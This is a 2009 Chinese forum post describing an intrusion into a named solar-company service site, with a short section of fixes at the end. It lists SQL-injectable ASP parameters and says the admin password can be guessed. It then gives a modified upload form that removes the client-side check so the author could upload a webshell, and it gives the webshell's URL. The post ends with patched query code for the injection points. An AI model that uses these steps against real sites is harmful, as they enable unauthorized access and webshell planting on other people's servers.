flaw0r 发表于 2009-4-21 16:17:56

入侵皇明太阳能某服务站并修复漏洞

服务器地址:http://www.xxxxxx.cn/
服务器存在漏洞文件:
/proshow.asp?classname=
/newlist.asp?newid=
/prolist.asp?proid=
/order.asp?proid=
可以直接猜出管理员用户名及密码
后台有上传功能:

其对上传文件的合法性判断为本地判断:


我们将添加新闻的页面保存到本地,修改上传文件的限制代码:以下为修改好的代码
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0049)http://www.xxxx.cn/admin/products/picture.asp -->
<HTML><HEAD><TITLE>上传图片</TITLE>
<META http-equiv=Content-Type c><LINK
href="picture.files/style.css" type=text/css rel=stylesheet>
<SCRIPT language=javascript>
// 删除此处的限制代码
</SCRIPT>

<META c name=GENERATOR></HEAD>
<BODY bgColor=#cedbff leftMargin=0 topMargin=0>
<TABLE cellSpacing=0 cellPadding=0 width="100%" align=center border=0>

<FORM language=javascript name=myform

action=http://www.xxxxx.cn/admin/products/upfile.asp method=post encType=multipart/form-data>
// 修改提交地址

<TBODY>

<TR vAlign=center align=middle>

<TD align=left height=15><INPUT type=file size=15 name=file1> <INPUT class="txt " type=submit value=上传 name=B1 isshowprocessbar="True">
</TD></TR></FORM></TBODY></TABLE></BODY></HTML>

这样我们就可以直接上传我们的大马了。
http://www.xxxxxxx.cn/pic/flaw0r.txt


修复漏洞
1./proshow.asp?classname=
<%
classname=replace(request("classname"),"'","")
if classname="" then
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from products order by proid desc",conn,1,1
%>


/newlist.asp?newid=

<%

Set res=Server.CreateObject("ADODB.RecordSet")

sql="select * from news where newid="&Cint(request("newID"))

res.Open sql,conn,1,1

%>
/prolist.asp?proid=
<%

Set res=Server.CreateObject("ADODB.RecordSet")

sql="select * from products where proid="&Cint(request("proID"))

res.Open sql,conn,1,1


%>
/order.asp?proid=
<%

Set res=Server.CreateObject("ADODB.RecordSet")

sql="select * from products where proid="&Cint (request("proID"))


res.Open sql,conn,1,1
%>

此文无任何恶意,望大虾指点,谢谢!

[ 本帖最后由 flaw0r 于 2009-4-21 16:48 编辑 ]
页: [1]
查看完整版本: 入侵皇明太阳能某服务站并修复漏洞